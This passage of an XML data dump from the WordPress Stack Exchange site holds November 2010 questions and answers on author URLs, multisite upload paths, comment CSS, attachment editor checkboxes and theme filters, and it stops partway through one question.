  <row Id="4240" PostTypeId="2" ParentId="4209" CreationDate="2010-11-18T15:58:52.063" Score="0" ViewCount="" Body="&lt;p&gt;Personally, I wouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see a way of doing the many-many relationship you're after via custom post types - there's no easy way (that my very limited knowledge knows about) of establishing that kind of relationship between custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to use a custom taxonomy (brands) and have a shop and brand custom post type. Each shop post would tagged with the brands taxonomy terms that are relevant, and so would each brand post (this would give you the linkage, and also allow you to have a page per brand with content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, smarter heads may have a different take, but I don't see this as being worthwhile.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-18T15:58:52.063" CommentCount="2" />
  <row Id="4241" PostTypeId="1" AcceptedAnswerId="4246" CreationDate="2010-11-18T16:14:50.517" Score="3" ViewCount="287" Body="&lt;p&gt;So the default url to display a list of posts by a particular author looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://domain.com/author/{username}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering how to change the 'author' in that url to something else? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a website for a charter school and they would like to allow each teacher to have a list of posts by &quot;classroom&quot;. So the desired url would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://domain.com/classroom/{username}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2011-08-15T17:50:09.360" Title="Override default url for author pages?" Tags="&lt;url-rewriting&gt;&lt;urls&gt;&lt;author&gt;" AnswerCount="2" />
  <row Id="4242" PostTypeId="1" AcceptedAnswerId="4245" CreationDate="2010-11-18T16:25:42.223" Score="0" ViewCount="118" Body="&lt;p&gt;Standard WordPress sites, at least of the versions of WP I've tested, store files uploaded via the Media Manager under wp-content/uploads/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do these same files get stored in MU sites and how can you obtain a reference to this folder via script from functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the location different depending on which version of WP or WPMU is installed?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-18T17:50:08.103" Title="Where do files uploaded via Media Manager get stored in MU?" Tags="&lt;theme-development&gt;&lt;multisite&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4243" PostTypeId="1" AcceptedAnswerId="4256" CreationDate="2010-11-18T16:33:22.147" Score="2" ViewCount="238" Body="&lt;p&gt;I am setting up Wordpress for a school. They want to enable teachers to have their own section of the site where they can create posts in different categories (assignments, events, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Wordpress supports multiple authors and that I can show posts by those authors out of the box by going to &lt;code&gt;http://domain.com/authors/{username}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of just showing all of the posts from different categories in one loop, I would like to allow the user to view posts by category and they can choose from a link menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/R5sLg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction on how to do this?  Is there a way to create a url that would filter posts by author AND category?&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2010-11-18T18:06:26.913" Title="How to set up sub-categories for author pages?" Tags="&lt;categories&gt;&lt;customization&gt;&lt;author&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="4244" PostTypeId="2" ParentId="4239" CreationDate="2010-11-18T16:42:02.573" Score="1" ViewCount="" Body="&lt;p&gt;The background is transparent, so it just inherits the styling of the parent comment..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Style the comment class..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#comments li.comment { background-color: #fff /* Default styling */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then do the more specific styling as you go down..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#comments li.odd { /* whatever */ } /* Style odd numbered comments */&#xA;#comments li.even { /* whatever */ } /* Style even numbered comments */&#xA;#comments li.bypostauthor { /* whatever */ } /* Style author comments */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The more specific rules go later, so you get a cascading effect with your styles..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; CSS selectors with IDs typically have precedance over those with classes (even if they come first), the more specific your CSS rule, the higher priority it has over others competiting to style a given element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#comments li.comment { /* This rule will be given priority */ }&#xA;.someclass li.comment { }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're a Firefox user, Firebug helps understand what styling an element is inheriting and from what style(strongly urge you to give it a try if you use Firefox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really more a question of how to use CSS to style nested elements with the selectors available than one specific to WordPress. That said, if you get stuck working out what rules to put where, post up your comment CSS so we can see how you're building and ordering your CSS rules(styles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my answer helps..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; To answer your question in the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try targetting the div that encases the comment and follows the containing &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; instead..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#comments li.comment .comment-container {}&#xA;#comments li.odd .comment-container {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so on... see if that helps... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-11-18T17:05:23.233" LastActivityDate="2010-11-18T17:05:23.233" CommentCount="4" />
  <row Id="4245" PostTypeId="2" ParentId="4242" CreationDate="2010-11-18T16:51:41.883" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at the following page and see if that answers the question for you... ;)&#xA;&lt;a href=&quot;https://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/ms-default-constants.php&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/ms-default-constants.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-18T16:51:41.883" CommentCount="3" />
  <row Id="4246" PostTypeId="2" ParentId="4241" CreationDate="2010-11-18T16:53:09.243" Score="4" ViewCount="" Body="&lt;p&gt;You might wish to try..&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-author-base/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-author-base/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-18T16:53:09.243" />
  <row Id="4247" PostTypeId="1" CreationDate="2010-11-18T17:08:11.073" Score="0" ViewCount="352" Body="&lt;p&gt;I am using a plugin called Post Snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation, it can substitute variables, such as {url} within the snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-snippets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/post-snippets/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unclear how to assign values from within a specific post to a variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using exec-PHP, and used the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[exec]url = &quot;domain.com&quot;;[/exec]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the snippet registered no value for {url}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I assign, from within a post, the value to a variable so that I can use it as described?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1544" LastActivityDate="2010-11-18T18:00:47.217" Title="How do I pass variables into short-code enabled Post Snippets in Wordpress 3.0?" Tags="&lt;variables&gt;" AnswerCount="1" />
  <row Id="4249" PostTypeId="1" AcceptedAnswerId="4296" CreationDate="2010-11-18T17:24:33.187" Score="0" ViewCount="158" Body="&lt;p&gt;I found several plugins/themes for creating a job board with WordPress, but only one solution which is free (see &lt;a href=&quot;http://kune.fr/blog/wordpress/wp-jobboard-transform-wordpress-into-a-jobboard/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other &lt;strong&gt;free&lt;/strong&gt; solutions for doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-28T02:02:58.457" LastActivityDate="2011-06-28T02:02:58.457" Title="Creating a job board using WordPress (for free)?" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;&lt;jobboard&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="4250" PostTypeId="1" AcceptedAnswerId="4253" CreationDate="2010-11-18T17:25:32.093" Score="2" ViewCount="66" Body="&lt;p&gt;What is the call to determine, from a theme's functions.php whether the site is an MU site or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated with answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dir = &#xA; is_multisite() ? 'wp-content/blogs.dir/'.$current_site-&amp;gt;blog_id.'/files/' &#xA; : 'wp-content/uploads/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-18T18:01:57.630" LastActivityDate="2010-11-18T18:01:57.630" Title="How to test for MU via functions.php?" Tags="&lt;theme-development&gt;&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4251" PostTypeId="1" AcceptedAnswerId="4252" CreationDate="2010-11-18T17:27:49.797" Score="0" ViewCount="253" Body="&lt;p&gt;How can one determine, from functions.php, the blog-id of the site (or alternately, the path to the media directory)?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-19T12:24:53.807" LastActivityDate="2010-12-19T12:30:51.057" Title="How to get blog-id of an MU site from functions.php" Tags="&lt;theme-development&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="4252" PostTypeId="2" ParentId="4251" CreationDate="2010-11-18T17:36:27.337" Score="1" ViewCount="" Body="&lt;p&gt;For the current site, you can use the &lt;code&gt;$current_site&lt;/code&gt; global variable and look at the blog_id member variable, e.g. &lt;code&gt;$current_site-&amp;gt;blog_id&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-11-18T17:36:27.337" CommentCount="5" />
  <row Id="4253" PostTypeId="2" ParentId="4250" CreationDate="2010-11-18T17:41:44.307" Score="2" ViewCount="" Body="&lt;p&gt;Try the &lt;code&gt;is_multisite()&lt;/code&gt; conditional, more documentation here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_multisite&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_multisite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find the &lt;code&gt;is_main_site()&lt;/code&gt; conditional useful as well. Just note that &lt;code&gt;is_main_site()&lt;/code&gt; will always be true if &lt;code&gt;is_multisite()&lt;/code&gt; is false.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-11-18T17:41:44.307" />
  <row Id="4254" PostTypeId="2" ParentId="4242" CreationDate="2010-11-18T17:50:08.103" Score="2" ViewCount="" Body="&lt;p&gt;Do a check for is_site_admin - if it's true, the network is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the usual WP uploads folder function call, it will magically find the multisite ones as well. (I can't remember it off the top of my head)&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-18T17:50:08.103" />
  <row Id="4255" PostTypeId="2" ParentId="4247" CreationDate="2010-11-18T18:00:47.217" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;em&gt;Variables&lt;/em&gt; in &lt;a href=&quot;http://wordpress.org/extend/plugins/post-snippets/&quot; rel=&quot;nofollow&quot;&gt;Post Snippets (Wordpress Plugin)&lt;/a&gt; is a comma seperated value. When you use the snippet-insert button in the post/page editor, you can set those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this is given on the homepage of the plugin, there is even a screenshot demonstrating that. &lt;a href=&quot;http://wpstorm.net/wordpress-plugins/post-snippets/&quot; rel=&quot;nofollow&quot;&gt;Please read the documentation first&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those &lt;em&gt;Post Snippet Variables&lt;/em&gt; are totally unrelated to PHP variables. I think that's just the thing you missed. You were looking in the wrong direction.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-18T18:00:47.217" CommentCount="3" />
  <row Id="4256" PostTypeId="2" ParentId="4243" CreationDate="2010-11-18T18:06:26.913" Score="1" ViewCount="" Body="&lt;p&gt;You should consider to make use of an &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;author template&lt;/a&gt;. It will allow you to control how the author page is displayed, so you can add what you pictured into there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then register a &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API#add_rewrite_endpoint.28.29&quot; rel=&quot;nofollow&quot;&gt;rewrite endpoint&lt;/a&gt; to create the multiple areas of the author page. In the template just check on which &quot;subpage&quot; you are and display the tabs and listing accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's basically doing &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt; then which is pretty well documented, so should be an easy start.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-18T18:06:26.913" CommentCount="2" />
  <row Id="4257" PostTypeId="1" AcceptedAnswerId="4258" CreationDate="2010-11-18T18:17:08.867" Score="0" ViewCount="185" Body="&lt;p&gt;The code below adds a custom input field to the attachments editor. How can I convert the text input to a checkbox and get/set the value of the checkbox on load and save?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &quot;input&quot; =&gt; &quot;checkbox&quot; does not work :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function image_attachment_fields_to_edit($form_fields, $post) {  &#xA;        $form_fields[&quot;imageLinksTo&quot;] = array(  &#xA;            &quot;label&quot; =&amp;gt; __(&quot;Image Links To&quot;),  &#xA;            &quot;input&quot; =&amp;gt; &quot;text&quot;,&#xA;            &quot;value&quot; =&amp;gt; get_post_meta($post-&amp;gt;ID, &quot;_imageLinksTo&quot;, true)  &#xA;        );    &#xA;        return $form_fields;  &#xA;    }  &#xA;&#xA;function image_attachment_fields_to_save($post, $attachment) {  &#xA;        if( isset($attachment['imageLinksTo']) ){  &#xA;            update_post_meta($post['ID'], '_imageLinksTo', $attachment['imageLinksTo']);  &#xA;        }  &#xA;        return $post;  &#xA;    } &#xA;&#xA;add_filter(&quot;attachment_fields_to_edit&quot;, &quot;image_attachment_fields_to_edit&quot;, null, 2); &#xA;add_filter(&quot;attachment_fields_to_save&quot;, &quot;image_attachment_fields_to_save&quot;, null, 2); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-18T18:29:51.860" Title="How to add a checkbox element to attachments editor with example" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="4258" PostTypeId="2" ParentId="4257" CreationDate="2010-11-18T18:29:51.860" Score="2" ViewCount="" Body="&lt;p&gt;Set the 'input' to 'html' and write out the html for the input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_attachment_fields_to_edit( $form_fields, $post ) {&#xA;    $foo = (bool) get_post_meta($post-&amp;gt;ID, 'foo', true);&#xA;&#xA;    $form_fields['foo'] = array(&#xA;    'label' =&amp;gt; 'Is Foo',&#xA;    'input' =&amp;gt; 'html',&#xA;    'html' =&amp;gt; '&amp;lt;label for=&quot;attachments-'.$post-&amp;gt;ID.'-foo&quot;&amp;gt; '.&#xA;        '&amp;lt;input type=&quot;checkbox&quot; id=&quot;attachments-'.$post-&amp;gt;ID.'-foo&quot; name=&quot;attachments['.$post-&amp;gt;ID.'][foo]&quot; value=&quot;1&quot;'.($foo ? ' checked=&quot;checked&quot;' : '').' /&amp;gt; Yes&amp;lt;/label&amp;gt;  ',&#xA;    'value' =&amp;gt; $foo,&#xA;    'helps' =&amp;gt; 'Check for yes'&#xA;    );&#xA;    return $form_fields;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Saving works just as you did above, but you're checking against a checkbox value instead, so you'll need to update to true if isset() and update to false if not.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-18T18:29:51.860" />
  <row Id="4259" PostTypeId="1" CreationDate="2010-11-18T18:54:59.957" Score="2" ViewCount="186" Body="&lt;p&gt;On a site with premium user account subscriptions, I'd like to be able to limit logins to one computer at a time. The most straightforward way to accomplish this would be to limit by IP, but I haven't had any luck finding a plugin to accomplish this. Does anybody know of one I can use to get this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2059/login-security-question-does-wp-show-me-if-im-logged-in-from-multiple-location&quot;&gt;Login security question - Does WP show me if I'm logged in from multiple locations?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1099" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T11:42:30.753" LastActivityDate="2011-02-04T11:42:30.753" Title="Limiting sessions to one IP at a time" Tags="&lt;plugin-recommendation&gt;&lt;security&gt;&lt;login&gt;&lt;ip&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="4260" PostTypeId="1" AcceptedAnswerId="4267" CreationDate="2010-11-18T19:13:17.663" Score="0" ViewCount="176" Body="&lt;p&gt;A friend of mine has a WordPress site using the Theisis theme. Recently he added a bit of problematic PHP code to the footer via the Theme (not into a PHP file). The PHP code is erroring out causing the site to WSOD (White Screen of Death). Because the footer is on every page, he can't get back in to remove the PHP code to fix the site. I'm not super familiar with WordPress (use mostly Drupal myself) so I'm not 100% sure how to help him. I'd guess the PHP snippet got stored in the database and needs to be manually removed from there. But I don't know the WordPress schema all that well. Can someone point me in the right direction? Where in the database would this code be store so I can remove it?&lt;/p&gt;&#xA;" OwnerUserId="1400" LastActivityDate="2010-11-18T21:01:11.497" Title="Remove problem PHP code entered into footer via Theme" Tags="&lt;themes&gt;&lt;php&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4261" PostTypeId="1" AcceptedAnswerId="4263" CreationDate="2010-11-18T19:21:32.487" Score="2" ViewCount="172" Body="&lt;p&gt;Bear with me. I promise there's a question when I'm done :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress, you can upload images while editing a post and have the option to insert them into the content (or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, the image appears to be &quot;attached&quot; to the post when viewing the Media manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WordPress place any references into the database to differentiate an image that's been attached and also inserted into the post content? Or conversely, an image that's been attached to a post but has NOT been inserted into the post content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do I want to know this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to allow the user to upload images that will be written above the post content (a row of images) by simply uploading them via the post attachment wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they may also upload some images that they only want to appear in the content, so they will click &quot;insert into post&quot; in that case. Unless I have some way of differentiating images that have actually been inserted vs images that have merely been attached, they will get duplicate images, one in the post and one at the top of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose an alternate approach would be to add a checkbox to the attachments editor to flag an image for display as a post header attachment, then do a lookup for images attached to the post with the special flag.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-06-17T21:18:18.270" Title="How can you determine whether an image is merely attached or has actually been inserted into a post?" Tags="&lt;theme-development&gt;&lt;attachments&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="4262" PostTypeId="1" CreationDate="2010-11-18T19:27:05.160" Score="4" ViewCount="212" Body="&lt;p&gt;I was interested in checking out how the WordPress code flow works... When I googled it, ( probably with the wrong keywrods), all I ended up was this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/User:DavidHouse/Wordpress_Code_Flow&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/User:DavidHouse/Wordpress_Code_Flow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is an excellent shot at it but very very old thus worth nothing today. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also searched how the heck wp_head works, could not find it neither. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to understand wp from the ground up, I thoght I should get a full grasp of from url to all the way to wp_footer() what really happens... Ant pointers in this regard is highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2010-11-19T16:46:01.013" Title="WordPress Code Flow" Tags="&lt;wp-head&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="4263" PostTypeId="2" ParentId="4261" CreationDate="2010-11-18T19:38:57.737" Score="2" ViewCount="" Body="&lt;p&gt;I used &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;nextgen gallery plugin&lt;/a&gt; to do something like this. Actually I've used only half of that: the end user uploads images through the plugin's interface but the actual display inside the post is done with a custom shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is a way to tell if an attachment has been inserted in the post, short of examining the post content source.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2010-11-18T19:38:57.737" />
  <row Id="4264" PostTypeId="1" AcceptedAnswerId="4265" CreationDate="2010-11-18T19:44:51.170" Score="0" ViewCount="143" Body="&lt;p&gt;Is there a built-in filter to add a custom icon and function to the WordPress &quot;Uploads/Insert&quot; toolbar? This is the toolbar that's located just above the content editor. The existing icon I want to replicate is shown in the blue circle of the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a custom icon that loads the &quot;Add an Image&quot; wizard and passes a special parameter to the upload function such that the attached images get a special meta attribute they would not ordinarily get when uploaded via the standard icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/E8My4.jpg&quot; alt=&quot;The editor toolbar showing the location of the menu I'm interested in adding to&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: With the help of tnorthcutt's answer below, I've managed to hook into the media icon filter. From here, I should be able to attach a jQuery click event to the image or href and trigger the opening of the media-upload.php, passing a parameter to process the uploads as special...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Upload custom images&#xA;function addMediaIcon($initcontext)&#xA;{&#xA;    return $initcontext.&#xA;   ' &amp;lt;a id=&quot;myID&quot; &#xA;      href=&quot;javascript:;&quot; &#xA;      onmousedown=&quot;return false;&quot; &#xA;      onclick=&quot;return false;&quot; &#xA;      title=&quot;tooltip&quot;&amp;gt;&#xA;     &amp;lt;img &#xA;      src=&quot;wp-admin/images/media-button-image.gif&quot; &#xA;      onclick=&quot;javascript:alert()&quot; title=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('media_buttons_context', 'addMediaIcon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-18T20:47:48.247" LastActivityDate="2010-11-19T22:14:16.370" Title="Can I add an icon &amp; function to the &quot;Upload/Insert&quot; toolbar at the top of the content editor?" Tags="&lt;theme-development&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="4265" PostTypeId="2" ParentId="4264" CreationDate="2010-11-18T20:11:37.027" Score="1" ViewCount="" Body="&lt;p&gt;I'm inclined to say that this is possible. For instance, the Gravity Forms plugin adds an image here. Start with looking at the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/media_buttons_context?version=3.0&amp;amp;file=wp-admin/includes/media.php&quot; rel=&quot;nofollow&quot;&gt;media_buttons_context&lt;/a&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-11-18T20:11:37.027" CommentCount="2" />
  <row Id="4266" PostTypeId="2" ParentId="4262" CreationDate="2010-11-18T20:32:30.917" Score="5" ViewCount="" Body="&lt;p&gt;Probably the Program Flow on ToolPress is something for you: &lt;a href=&quot;http://toolpress.de/tools/Toolpress_-_Wordpress-3.0-Program-Flow-0.2-2010-06-28.pdf&quot; rel=&quot;nofollow&quot;&gt;Wordpress 3.0 Program Flow File Inclusions (Default Request)&lt;/a&gt;; PDF. Contains important filenames, constants and hooks. My Favorite Cheat Sheet so far for the code flow stuff.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-18T20:32:30.917" CommentCount="1" />
  <row Id="4267" PostTypeId="2" ParentId="4260" CreationDate="2010-11-18T21:01:11.497" Score="2" ViewCount="" Body="&lt;p&gt;Use FTP to rename the Thesis theme folder and then WP will use the default theme and you will be able to get back into admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he edited the theme file via the theme editor in WP admin, then replace the file he edited in the Thesis folder from a fresh copy and try and reactivate the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work and the added code was saved to the Thesis theme options, use a plugin called Clean Options to clear out the old Thesis theme options and start over: &lt;a href=&quot;http://wordpress.org/extend/plugins/clean-options/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/clean-options/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-11-18T21:01:11.497" CommentCount="1" />
  <row Id="4268" PostTypeId="1" AcceptedAnswerId="4531" CreationDate="2010-11-18T21:30:36.167" Score="0" ViewCount="48" Body="&lt;p&gt;I was looking through the crawl results of my SEO Moz app and saw that there are somehow many copies of certain pages that have titles that are the exact same except for a number added to them. An example is in the image. How could this be happening?&lt;img src=&quot;http://i.stack.imgur.com/jPndw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-11-25T19:41:57.617" Title="Duplicate content with incremental titles. How is this happening?" Tags="&lt;content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4269" PostTypeId="2" ParentId="4223" CreationDate="2010-11-18T21:42:25.203" Score="1" ViewCount="" Body="&lt;p&gt;If you're concerned about jQuery load time, use Google as a CDN: &lt;a href=&quot;http://wordpress.org/extend/plugins/use-google-libraries/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Use Google Libraries « WordPress Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-11-18T21:42:25.203" />
  <row Id="4270" PostTypeId="1" CreationDate="2010-11-18T22:03:27.823" Score="0" ViewCount="532" Body="&lt;p&gt;I am trying to change the &quot;Set featured image&quot;, &quot;Remove featured image&quot;, and &quot;Use as featured image&quot; text links of a custom post type for my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/meteor-slides/&quot; rel=&quot;nofollow&quot;&gt;Meteor Slides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the &quot;admin_post_thumbnail_html&quot; filter hook, and came up with some code that will change &quot;Set featured image&quot; to &quot;Set slide image&quot; for just the slide post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ((isset($_GET['post_type']) &amp;amp;&amp;amp; $_GET['post_type'] == 'slide') || (isset($post_type) &amp;amp;&amp;amp; $post_type == 'slide')) {&#xA;&#xA;    add_filter( 'admin_post_thumbnail_html', 'meteorslides_set_featured', 9999, 1 );&#xA;&#xA;    function meteorslides_set_featured( $content ) {&#xA;&#xA;        return str_replace( 'Set featured image', 'Set slide image', $content );&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the same thing for &quot;Remove featured image&quot; and it did not work, however I can use this code to make this change for &lt;em&gt;all&lt;/em&gt; post types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter( 'admin_post_thumbnail_html', 'meteorslides_remove_featured', 9999, 1 );&#xA;&#xA;function meteorslides_remove_featured( $content ) {&#xA;&#xA;    return str_replace( 'Remove featured image', 'Remove slide image', $content );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any thoughts as to why filtering &quot;Set featured image&quot; would behave differently than 